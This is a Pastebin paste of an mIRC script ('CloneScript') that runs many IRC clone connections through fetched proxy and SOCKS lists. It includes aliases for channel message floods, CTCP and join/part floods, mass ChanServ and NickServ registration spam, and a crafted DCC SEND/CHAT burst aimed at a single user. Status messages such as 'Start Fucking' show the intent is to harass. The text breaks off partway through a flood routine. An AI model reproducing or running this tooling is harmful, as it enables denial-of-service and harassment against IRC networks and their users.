API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Sep 17th, 2014
296
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 54.02 KB | None | 0 0
raw download clone embed print report
  1. alias cond { .timer -oh 1 0 cond | Clone.Go | .timer 1 1 sdd }
  2. alias sdd { timer* off | .timer 1 1200 cond }
  3. Alias off {
  4. /timer* off
  5. /echo %scrinfo 8,1Stopped Fucking
  6. /unset %text*
  7. }
  8. alias nicksss { write nickclone.ini $RandNick($Rand(3,9)) }
  9. alias nw { .timernw1 0 0 /nicksss
  10. }
  11. alias ccg {
  12. ./.timerccgfloodd1 0 9 /sockwrite -nt * privmsg chanserv register %textccg.chan $R(1,8) $+ $R(9,5) $+ $R(a,z) $+ $R(2,3) $+ $R(6,7) $+ $R(y,a) $+ $R(a,m) $+ $R(0,15) $R(a,z) $+ $R(y,z) $+ $R(9,1) $+ $R(y,m) $+ $R(a,j)
  13. }
  14. alias jg {
  15. /set %textccg.chan $+(#muhaha- $+ $R(a,z) $+ $R(a,z) $+ $r(1,99)) $+ , $+ $+(#muhaha- $+ $R(a,z) $+ $R(a,z) $+ $r(1,99)) $+ , $+ $+(#muhaha- $+ $R(a,z) $+ $R(a,z) $+ $r(1,99)) $+ , $+ $+(#muhaha- $+ $R(a,z) $+ $R(a,z) $+ $r(1,99)) $+ , $+ $+(#muhaha- $+ $R(a,z) $+ $R(a,z) $+ $r(1,99)) $+ , $+ $+(#muhaha- $+ $R(a,z) $+ $R(a,z) $+ $r(1,99))
  16. /.timerccgflood1 0 2 /sockwrite -nt * join %textccg.chan
  17. /.timerccgflood2 0 7 /ccg
  18. /.timerccgflood3 0 8 /jg
  19. /echo %scrinfo 8,1Start Join Clone To %textccg.chan with $Did(Clone,38).Lines clones
  20. ;/.timer 1 11 /.timercccgflood* off | /.timer 1 12 /unset %textccg.* | /.timer 1 13 /echo %scrinfo 8,1Stoped Join Clone To %textccg.chan with $Did(Clone,38).Lines clones
  21. }
  22. Alias text {
  23. ;/sockwrite -nt * privmsg %textf.chan ACTION $str( $+ %textf.msg,1)
  24. /sockwrite -nt * privmsg %textf.chan : %textf.msg %textf.msg
  25. ;/sockwrite -nt * privmsg %textf.chan : $+ $str(%textf.msg,10) $+ $chr(32)
  26. ;/sockwrite -nt * privmsg %textf.chan : http://www.youtube.com/watch? $+ $R(a,z) $+ = $+ $R(1,9) $+ $R(a,z) $+ $R(A,Z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(1,9) $+ $R(a,z) $+ $R(A,Z) $+ $R(a,z) $+ $R(A,Z) $+ $chr(32)
  27. }
  28. ; $+ $rand(0,15) $+ , $+ $rand(0,15) $+ $str( $+ %textf.msg,10) $+ $chr(32) 0,0 $+ $r(a,z)
  29. Alias t {
  30. /set %textf.chan $1
  31. /set %textf.msg $2-
  32. /.timertflood1 0 11 /sockwrite -nt * join %textf.chan
  33. /.timertflood2 0 11 /text
  34. /echo %scrinfo 8,1Start Fucking %textf.chan with $Did(Clone,38).Lines clones
  35. }
  36. Alias toff {
  37. /.timertflood* off
  38. /echo %scrinfo 8,1Stopped Fucking %textf.chan
  39. /unset %textf.*
  40. }
  41. alias cpc {
  42. /set %textcpc.chan $1
  43. /.timercpcflood1 0 1 /sockwrite -nt * PRIVMSG %textcpc.chan : $+ $chr(1) $+ version $+ $chr(1)
  44. /echo %scrinfo 8,1Start Ctcp FlooD %textcpc.chan with $Did(Clone,38).Lines clones
  45. }
  46. Alias cpcoff {
  47. /.timercpcflood* off
  48. /echo %scrinfo 8,1Stopped Ctcp FlooD %textcpc.chan
  49. /unset %textcpc.*
  50. }
  51. Alias jc {
  52. /set %textc.chan $1
  53. /.timercflood1 0 1 /sockwrite -nt * join %textc.chan
  54. /echo %scrinfo 8,1Start Join Clone To %textc.chan with $Did(Clone,38).Lines clones
  55. ;/.timer 1 11 /.timercflood* off | /.timer 1 12 /unset %textc.* | /.timer 1 13 /echo %scrinfo 8,1Stoped Join Clone To %textc.chan with $Did(Clone,38).Lines clones
  56. }
  57. Alias pc {
  58. /set %textp.chan $1
  59. /set %textp.msg $2-
  60. /.timerpflood1 0 4 /sockwrite -nt * part %textp.chan :  $+ $rand(2,15) $+ , $+ $rand(2,15) %textp.msg $+ $chr(32)
  61. /echo %scrinfo 8,1Start Part Clone To %textp.chan with $Did(Clone,38).Lines clones
  62. /.timer 1 6 /.timerpflood* off | /.timer 1 7 /unset %textp.* | /.timer 1 7 /echo %scrinfo 8,1Sopped Part Clone To %textp.chan with $Did(Clone,38).Lines clones
  63. }
  64. Alias jp {
  65. /set %textjp.chan $1
  66. /set %textjp.msg $2-
  67. /.timerjpflood1 0 3 /sockwrite -nt * join %textjp.chan
  68. /.timerjpflood2 0 4 /sockwrite -nt * part %textjp.chan : %textjp.msg | /echo %scrinfo 8,1Start join&part %textjp.chan
  69. }
  70. Alias jpoff {
  71. /.timerjpflood* off
  72. /echo %scrinfo 8,1Stopped join&part %textjp.chan
  73. /unset %textjp.*
  74. }
  75. Alias Group {
  76. /sockwrite -nt * ns group %Group.nick %Group.pass
  77. }
  78. Alias g {
  79. /set %Group.nick $1
  80. /set %Group.pass $2-
  81. /echo %scrinfo 8,1Start Grouping %Group.nick with $Did(Clone,38).Lines clones
  82. /.timergflood1 0 7 /Group
  83. /.timergflood2 0 15 /goff
  84. }
  85. Alias goff {
  86. /.timergflood* off
  87. /echo %scrinfo 8,1Stopped Grouping %Group.nick
  88. /unset %Group.*
  89. }
  90. Alias Reg {
  91. /echo %scrinfo 8,1Start Register Nick | /sockwrite -nt * ns register $+($rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z)) $+($rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(@,@),$rand(y,y),$rand(a,a),$rand(h,h),$rand(o,o),$rand(o,o),$rand(.,.),$rand(c,c),$rand(o,o),$rand(m,m))
  92. /.timerrflood1 0 15 /echo %scrinfo 8,1Etmame Marhaleye Sabt Kardane Nick | /.timerrflood2 0 16 /.timerrflood* off
  93. }
  94. Alias textl {
  95. /sockwrite -nt * privmsg %textl.chan :  $+ $rand(0,15) $+ , $+ $rand(0,15) $read(slap.ini)
  96. }
  97. Alias tl {
  98. /set %textl.chan $1
  99. /echo %scrinfo 8,1Gaidan Shoro Shod with $Did(Clone,38).Lines clones
  100. /.timertflood1 0 10 /sockwrite -nt * join %textl.chan
  101. /.timertflood2 0 10 /textl
  102. }
  103. Alias tloff {
  104. /.timertflood* off
  105. /echo %scrinfo 8,1Gaidan Tamam Shod
  106. /unset %textl.*
  107. }
  108. alias cf {
  109. /set %textcf.chan $1
  110. /.timercfc1 1 1 sockwrite -nt * PRIVMSG $1 $+(:,$chr(1),DCC) send " $+ $str($rand(a,z) $+$chr(32),250) $+ .txt " 0 2130706433 $+(8192,$chr(1))
  111. /.timercfc2 1 1 sockwrite -nt * PRIVMSG $1 $+(:,$chr(1),DCC) CHAT $1 127.0.0.1 $me )
  112. /.timercfc3 1 1 sockwrite -nt * NOTICE $1 :lo0ol
  113. /.timercfc4 1 1 sockwrite -nt * privmsg $1 :hahahahahahaha
  114. /echo %scrinfo 11,1Fucked $1 with $Did(Clone,38).Lines clones
  115. }
  116. alias cfoff {
  117. /unset %textcf.chan $1
  118. /.timercfc1 1 1 timercfc* off
  119. }
  120. menu * {
  121. -
  122. CloneScript:/Dialog -md Clone Clone
  123.  
  124. }
  125.  
  126. dialog Clone {
  127. title "Clone"
  128. size -1 -1 577 512
  129. option pixels
  130. tab "Settings", 75, 8 8 559 463
  131. box "Server and Connections", 1, 16 33 348 78, tab 75
  132. edit "irc.iranweb.org", 2, 66 53 218 21, tab 75 autohs
  133. text "Server:", 3, 24 57 34 16, tab 75
  134. edit "6667", 4, 312 53 44 21, tab 75 limit 5
  135. text "Port:", 100, 288 57 22 16, tab 75
  136. text "Protocol:", 5, 24 83 42 16, tab 75
  137. combo 6, 66 80 80 114, tab 75 size drop
  138. text "Connections:", 9, 156 83 66 16, tab 75
  139. edit "1", 10, 219 80 44 21, tab 75 limit 4
  140. check "CTCP Replies", 81, 276 82 80 20, tab 75
  141. box "Debug", 89, 16 115 348 44, tab 75
  142. radio "Debug OFF", 88, 24 132 71 20, group, tab 75
  143. radio "Debug ON", 87, 143 132 66 20, tab 75
  144. check "Hide Server Pings", 86, 256 132 102 20, tab 75
  145. box "Nickname and Real Name", 8, 16 163 348 124, tab 75
  146. radio "Random", 11, 24 179 58 20, group, tab 75
  147. radio "Nicklist:", 12, 24 203 54 20, tab 75
  148. radio "Other:", 13, 24 227 54 20, tab 75
  149. edit "", 14, 80 203 204 20, disable tab 75 autohs
  150. edit "", 15, 80 227 204 20, disable tab 75 limit 100
  151. button "&Browse", 16, 288 203 68 20, disable tab 75
  152. text "Real Name:", 82, 24 259 56 16, tab 75
  153. edit "", 85, 80 257 204 21, tab 75 autohs limit 70
  154. box "On Connect", 7, 16 291 348 169, tab 75
  155. text "UserMode:", 17, 24 315 50 16, tab 75
  156. edit "+i", 18, 80 312 60 20, tab 75
  157. edit "", 19, 24 355 332 97, tab 75 multi return autohs autovs
  158. text "Raw IRC Commands:", 20, 24 339 106 16, tab 75
  159. box "Proxy/Socks List", 26, 371 33 188 427, tab 75
  160. text "Host:", 27, 379 56 26 16, tab 75
  161. text "Port:", 28, 379 80 26 16, tab 75
  162. edit "", 29, 411 53 140 20, tab 75 limit 15
  163. edit "", 30, 411 77 140 20, tab 75 limit 5
  164. button "Add", 31, 379 103 83 20, tab 75
  165. button "Remove", 32, 468 103 83 20, tab 75
  166. button "Import File", 33, 379 127 83 20, tab 75
  167. button "Clipboard", 83, 468 127 83 20, tab 75
  168. list 34, 379 153 172 257, tab 75 size multsel
  169. text "Number of Proxies:", 101, 379 414 93 12, tab 75
  170. text "0", 102, 476 414 25 12, tab 75
  171. button "Remove All", 35, 379 431 172 22, tab 75
  172. tab "Actions", 76
  173. box "Nicklist", 37, 16 33 156 363, tab 76
  174. list 38, 24 49 140 315, tab 76 size extsel
  175. box "Flood", 92, 179 119 380 96, tab 76
  176. button "Flood", 55, 187 135 67 21, disable tab 76
  177. text "No.Sends:", 116, 260 139 50 20, tab 76
  178. edit "", 117, 310 135 32 21, tab 76 autohs
  179. text "Delay(secs):", 94, 354 139 60 20, tab 76
  180. edit "", 95, 414 135 32 21, tab 76 autohs
  181. text "Repeat every(secs):", 98, 458 131 60 28, tab 76
  182. edit "", 99, 519 135 32 21, tab 76 autohs
  183. combo 91, 187 162 67 75, tab 76 size drop
  184. edit "", 56, 259 162 84 21, tab 76 autohs
  185. edit "", 57, 347 162 204 21, tab 76 autohs
  186. check "Msg+Change Nick 3 times", 96, 188 190 140 20, tab 76
  187. check "Random Text", 97, 363 190 82 20, tab 76
  188. button "Halt Flood", 93, 484 189 67 21, tab 76
  189. box "Other", 90, 179 219 380 241, tab 76
  190. button "Join", 41, 187 235 67 21, disable tab 76
  191. edit "", 42, 259 235 84 21, tab 76 autohs
  192. button "Part", 43, 187 259 67 21, disable tab 76
  193. edit "", 44, 259 259 84 21, tab 76 autohs
  194. edit "", 45, 347 259 204 21, tab 76 autohs
  195. button "Join Part", 46, 187 283 67 21, disable tab 76
  196. edit "", 47, 259 283 84 21, tab 76 autohs
  197. edit "", 48, 347 283 204 21, tab 76 autohs
  198. button "Message", 49, 187 307 67 21, disable tab 76
  199. edit "", 50, 259 307 84 21, tab 76 autohs
  200. edit "", 51, 347 307 204 21, tab 76 autohs
  201. button "Notice", 52, 187 331 67 21, disable tab 76
  202. edit "", 53, 259 331 84 21, tab 76 autohs
  203. edit "", 54, 347 331 204 21, tab 76 autohs
  204. button "CTCP", 58, 187 355 67 21, disable tab 76
  205. edit "", 59, 259 355 84 21, tab 76 autohs
  206. combo 60, 347 355 204 76, tab 76 size edit drop
  207. button "DCC Send", 61, 187 379 67 21, disable tab 76
  208. edit "", 62, 259 379 84 21, tab 76 autohs
  209. edit "", 63, 347 379 204 21, tab 76 autohs
  210. button "DCC Chat", 64, 187 403 67 21, disable tab 76
  211. edit "", 65, 259 403 84 21, tab 76 autohs
  212. button "Mode", 888, 347 403 67 21, disable tab 76
  213. edit "", 889, 419 403 84 21, tab 76 multi return autohs autovs
  214. button "Raw", 73, 187 427 67 21, disable tab 76
  215. edit "", 74, 259 427 292 25, tab 76 multi return autohs autovs vsbar
  216. box "Nick", 36, 179 33 380 82, tab 76
  217. button "Nick", 66, 187 65 67 20, tab 76
  218. radio "Nicklist:", 68, 259 65 54 20, tab 76
  219. radio "Other:", 69, 259 88 54 20, tab 76
  220. edit "", 71, 315 88 164 20, disable tab 76 limit 10
  221. radio "Random", 67, 259 42 58 20, tab 76
  222. button "Browse", 72, 484 65 67 20, disable tab 76
  223. edit "", 70, 315 65 164 20, disable tab 76 autohs
  224. text "Perform:", 39, 24 372 42 16, tab 76
  225. combo 40, 72 368 92 60, tab 76 size drop
  226. box "Statistics", 21, 16 400 156 60, tab 76
  227. text "Total Connections:", 23, 24 436 92 16, tab 76
  228. text "Connected Clones:", 22, 24 420 92 16, tab 76
  229. text "0", 24, 120 420 42 16, tab 76
  230. text "0", 25, 120 436 42 16, tab 76
  231. button "&Connect", 77, 8 480 83 25
  232. button "&Disconnect", 78, 96 480 83 25
  233. button "&Exit", 79, 488 480 81 25
  234. button "Connected Proxies", 80, 371 480 112 25
  235. button "Close Sockets", 84, 184 480 83 25
  236. tab "Proxy Fetcher", 197
  237. combo 198, 14 46 545 100, tab 197 size edit drop
  238. button "&Add URL", 199, 470 70 90 22, tab 197
  239. list 1100, 14 70 455 90, tab 197 size drop
  240. box "URL List", 1101, 12 31 550 322, tab 197
  241. box "Taken Proxies/Socks", 1102, 14 169 146 186, tab 197
  242. list 1103, 17 184 140 167, tab 197 size
  243. button "Export", 1104, 245 220 84 20, tab 197
  244. text "Total Sites:", 1105, 210 280 58 16, tab 197
  245. text "0", 1106, 275 280 122 16, tab 197
  246. button "Get List", 1107, 470 139 90 22, tab 197
  247. button "Clear", 1108, 160 220 84 20, tab 197
  248. button "Move to Proxy/Socks List", 1109, 160 240 169 20, tab 197
  249. text "Completed:", 1110, 210 300 58 16, tab 197
  250. text "0", 1111, 275 300 122 16, tab 197
  251. text "Socks/Proxies Taken:", 1112, 163 262 106 16, tab 197
  252. text "0", 1113, 275 262 74 16, tab 197
  253. button "Remove Selected", 1114, 470 94 90 22, tab 197
  254. button "Remove All", 1115, 470 117 90 22, tab 197
  255. }
  256.  
  257. On *:Dialog:Clone:Init:*: {
  258. Did -a $DName 6 Normal
  259. Did -a $DName 6 Proxy
  260. Did -a $DName 6 Socks4
  261. Did -a $DName 6 Socks5
  262. Did -a $DName 6 Socks4&5
  263. Did -c $DName 6 5
  264. Did -a $DName 40 All
  265. Did -a $DName 40 Selected
  266. Did -c $DName 40 1
  267. Did -a $DName 60 PING
  268. Did -a $DName 60 TIME
  269. Did -a $DName 60 VERSION
  270. Did -c $DName 11
  271. Did -c $DName 67
  272. Did -c $DName 86
  273. Did -c $DName 88
  274. Did -a $DName 91 CTCP
  275. Did -a $DName 91 NOTICE
  276. Did -a $DName 91 PRIVMSG
  277. Did -c $DName 91 1
  278. Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL3d3dy5zb2NrczI0Lm9yZy8%3D&hl=3ed 24
  279. Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL3d3dy5zb2NrczVsaXN0LmNvbS8%3D&hl=3ed 4
  280. Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL3d3dy5zb2NrczU0ZnJlZS5jb20v&hl=3ed 5
  281. Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL3d3dy5saXZlLXNvY2tzLm5ldC8%3D&hl=3ed 4&5
  282. Did -a $DName 198 http://baesmat.com/dns/index.php?q=d3d3LnByb3h5LWhlYXZlbi5ibG9nc3BvdC5jb20%3D&hl=3ed heaven
  283. Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL3d3dy52aXAtc29ja3MubmV0Lw%3D%3D&hl=3ed live
  284. Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL2FsbHNvY2tzLmJsb2dzcG90LmNvbQ%3D%3D&hl=3ed vip
  285. Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL21lZ2Fzb2Nrcy5ibG9nc3BvdC5jb20%3D&hl=3ed megasocks
  286. Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL3NvY2s1dXMuYmxvZ3Nwb3QuY2g%3D&hl=3ed
  287. Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL3d3dy5wcjB4aWVzLm9yZy8%3D&hl=3ed pr0xies
  288. Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL3Byb3h5c2VydmVybGlzdC5ibG9nc3BvdC5jb20v&hl=3ed proxyserverlist
  289. Did -c $DName 198 5
  290. }
  291.  
  292. On *:Dialog:Clone:Edit:*: {
  293. If ($Did == 42) {
  294. If ($Left($Did(42),1) == $Chr(35)) && ($Count($Did(42),$Chr(32)) <= 1) { Did -e $DName 41 }
  295. Else { Did -b $DName 41 }
  296. }
  297. If ($Did == 889) {
  298. If ($Len($Did(889)) >= 2) && ($left($Did(889),1) isin +-) {
  299. Did -e $DName 888
  300. }
  301. Else {
  302. Did -b $DName 888
  303. }
  304. }
  305. If ($Did == 44) {
  306. If ($Left($Did(44),1) == $Chr(35)) && ($Count($Did(44),$Chr(32)) == 0) { Did -e $DName 43 }
  307. Else { Did -b $DName 43 }
  308. }
  309. If ($Did == 47) {
  310. If ($Left($Did(47),1) == $Chr(35)) && ($Count($Did(47),$Chr(32)) == 0) { Did -e $DName 46 }
  311. Else { Did -b $DName 46 }
  312. }
  313. If ($Did == 50) {
  314. If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }
  315. Else { Did -b $DName 49 }
  316. }
  317. If ($Did == 51) {
  318. If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }
  319. Else { Did -b $DName 49 }
  320. }
  321. If ($Did == 53) {
  322. If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(53)) >= 1) && ($Did(54)) { Did -e $DName 52 }
  323. Else { Did -b $DName 52 }
  324. }
  325. If ($Did == 54) {
  326. If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(54)) { Did -e $DName 52 }
  327. Else { Did -b $DName 52 }
  328. }
  329. If ($Did == 56) && ($Did(96).State == 1) && ($Did(97).State == 1) {
  330. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
  331. Else { Did -b $DName 55 }
  332. }
  333. If ($Did == 95) && ($Did(96).State == 1) && ($Did(97).State == 1) {
  334. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
  335. Else { Did -b $DName 55 }
  336. }
  337. If ($Did == 99) && ($Did(96).State == 1) && ($Did(97).State == 1) {
  338. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
  339. Else { Did -b $DName 55 }
  340. }
  341. If ($Did == 56) && ($Did(96).State == 1) && ($Did(97).State == 0) {
  342. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
  343. Else { Did -b $DName 55 }
  344. }
  345. If ($Did == 57) && ($Did(96).State == 1) && ($Did(97).State == 0) {
  346. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
  347. Else { Did -b $DName 55 }
  348. }
  349. If ($Did == 95) && ($Did(96).State == 1) && ($Did(97).State == 0) {
  350. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
  351. Else { Did -b $DName 55 }
  352. }
  353. If ($Did == 99) && ($Did(96).State == 1) && ($Did(97).State == 0) {
  354. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
  355. Else { Did -b $DName 55 }
  356. }
  357. If ($Did == 56) && ($Did(96).State == 0) && ($Did(97).State == 1) {
  358. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
  359. Else { Did -b $DName 55 }
  360. }
  361. If ($Did == 95) && ($Did(96).State == 0) && ($Did(97).State == 1) {
  362. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
  363. Else { Did -b $DName 55 }
  364. }
  365. If ($Did == 117) && ($Did(96).State == 0) && ($Did(97).State == 1) {
  366. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
  367. Else { Did -b $DName 55 }
  368. }
  369. If ($Did == 56) && ($Did(96).State == 0) && ($Did(97).State == 0) {
  370. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
  371. Else { Did -b $DName 55 }
  372. }
  373. If ($Did == 57) && ($Did(96).State == 0) && ($Did(97).State == 0) {
  374. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
  375. Else { Did -b $DName 55 }
  376. }
  377. If ($Did == 95) && ($Did(96).State == 0) && ($Did(97).State == 0) {
  378. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
  379. Else { Did -b $DName 55 }
  380. }
  381. If ($Did == 117) && ($Did(96).State == 0) && ($Did(97).State == 0) {
  382. If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
  383. Else { Did -b $DName 55 }
  384. }
  385. If ($Did == 59) {
  386. If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
  387. Else { Did -b $DName 58 }
  388. }
  389. If ($Did == 60) {
  390. If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
  391. Else { Did -b $DName 58 }
  392. }
  393. If ($Did == 62) {
  394. If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }
  395. Else { Did -b $DName 61 }
  396. }
  397. If ($Did == 63) {
  398. If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }
  399. Else { Did -b $DName 61 }
  400. }
  401. If ($Did == 65) {
  402. If ($Count($Did(65),$Chr(32)) == 0) && ($Len($Did(65)) >= 1) && ($Left($Did(65),1) != $Chr(35)) { Did -e $DName 64 }
  403. Else { Did -b $DName 64 }
  404. }
  405. If ($Did == 74) {
  406. If ($Len($Did(74)) >= 1) { Did -e $DName 73 }
  407. Else { Did -b $DName 73 }
  408. }
  409. If ($Did == 70) {
  410. If ($Did(70)) { Did -e $DName 66 }
  411. Else { Did -b $DName 66 }
  412. }
  413. If ($Did == 71) {
  414. If ($Did(71)) { Did -e $DName 66 }
  415. Else { Did -b $DName 66 }
  416. }
  417. }
  418. On *:Dialog:Clone:Close:*: {
  419. SockClose Clone.*
  420. }
  421.  
  422. Alias Clone.Error { Var %E = $Input($1-,o,Clone) }
  423.  
  424. Alias Clone.RandomText {
  425. var %words = $rand(1,10), %r1
  426. while (%words) {
  427. var %letters = $rand(1,10), %r2
  428. while (%letters) {
  429. var %r2 = %r2 $+ $rand(a,z)
  430. dec %letters
  431. }
  432. var %r1 = %r1 %r2
  433. dec %words
  434. }
  435. return %r1
  436. }
  437.  
  438. Alias genVars {
  439. var %i = $Did(Clone,38,0).sel, %t = 0, %n, %
  440.  
  441. while (%i) {
  442. var %x = 1
  443. while ($sock(Clone.*,%x) && $sock(Clone.*,%x).mark != $did(clone,38,$did(Clone,38,%i).sel).text) { inc %x }
  444. if ($sock(Clone.*,%x).mark == $did(clone,38,$did(Clone,38,%i).sel).text) { var %n = $sock(Clone.*,%x) }
  445. if ($calc($len(%n) + 1 + $len(%all)) > 900) {
  446. set -e %botnicklistvariable. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all
  447. inc %t
  448. var %all
  449. }
  450. var %all = $addtok(%all,%n,32)
  451. dec %i
  452. }
  453. set -e %botnicklistvariable. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all
  454. }
  455.  
  456. Alias Clone.Actions {
  457. If ($1 == :KEY:) {
  458. var %key = $2
  459. tokenize 32 $3-
  460. }
  461. If ($1 == All) {
  462. Var %I = 1
  463. While ($Sock(Clone.*,%I)) {
  464. If ($2 == JOINPART) {
  465. SockWrite -nt $Sock(Clone.*,%I) JOIN $3
  466. SockWrite -nt $Sock(Clone.*,%I) PART $3-
  467. }
  468. ElseIf ($2 == raw) {
  469. SockWrite -nt $Sock(Clone.*,%I) $Replace($3-,$!Clone.Name,$Clone.Nick($Sock(Clone.*,%I)))
  470. }
  471. ElseIf ($2 == mode) {
  472. SockWrite -nt $Sock(Clone.*,%I) mode $Clone.Nick($Sock(Clone.*,%I)) $3
  473. }
  474. ElseIf ($2 == nick) {
  475. If ($Did(Clone,67).State == 1) {
  476. SockWrite -nt $Sock(Clone.*,%I) nick $Clone.RandNick
  477. }
  478. If ($Did(Clone,68).State == 1) {
  479. SockWrite -nt $Sock(Clone.*,%I) nick $Gettok($Read($Did(Clone,70)),1,32)
  480. }
  481. If ($Did(Clone,69).State == 1) {
  482. SockWrite -nt $Sock(Clone.*,%I) nick $+($Did(Clone,71),$Clone.RandNick(3))
  483. }
  484. }
  485. Else {
  486. SockWrite -nt $Sock(Clone.*,%I) $2-
  487. }
  488. Inc %I
  489. }
  490. }
  491. If ($1 == Selected) {
  492. Var %I = 1
  493. While ($Did(Clone,38,%I)) {
  494. If ($Did(Clone,38,%I).State == 1) {
  495. Var %J = 1
  496. While ($Sock(Clone.*,%J)) {
  497. If ($Sock(Clone.*,%J).Mark == $Did(Clone,38,%I)) {
  498. If ($2 == JOINPART) {
  499. SockWrite -nt $Sock(Clone.*,%J) JOIN $3
  500. SockWrite -nt $Sock(Clone.*,%J) PART $3-
  501. }
  502. ElseIf ($2 == raw) {
  503. SockWrite -nt $Sock(Clone.*,%J) $Replace($3-,$!Clone.Name,$Clone.Nick($Sock(Clone.*,%J)))
  504. }
  505. ElseIf ($2 == mode) {
  506. SockWrite -nt $Sock(Clone.*,%J) mode $Clone.Nick($Sock(Clone.*,%J)) $3
  507. }
  508. ElseIf ($2 == nick) {
  509. If ($Did(Clone,67).State == 1) {
  510. SockWrite -nt $Sock(Clone.*,%J) nick $Clone.RandNick
  511. }
  512. If ($Did(Clone,68).State == 1) {
  513. SockWrite -nt $Sock(Clone.*,%J) nick $Gettok($Read($Did(Clone,70)),1,32)
  514. }
  515. If ($Did(Clone,69).State == 1) {
  516. SockWrite -nt $Sock(Clone.*,%J) nick $Did(Clone,71)
  517. }
  518. }
  519. Else {
  520. SockWrite -nt $Sock(Clone.*,%J) $2-
  521. }
  522. }
  523. Inc %J
  524. }
  525. }
  526. Inc %I
  527. }
  528. }
  529. }
  530.  
  531. Alias Clone.Flood {
  532. var %key = $left($md5($ticks),10)
  533. genVars %key
  534. If ($Did(91) == CTCP) && ($Did(99) isnum) {
  535. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $+ 
  536. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $+  }
  537. }
  538. If ($Did(91) == CTCP) && ($Did(99) !isnum) {
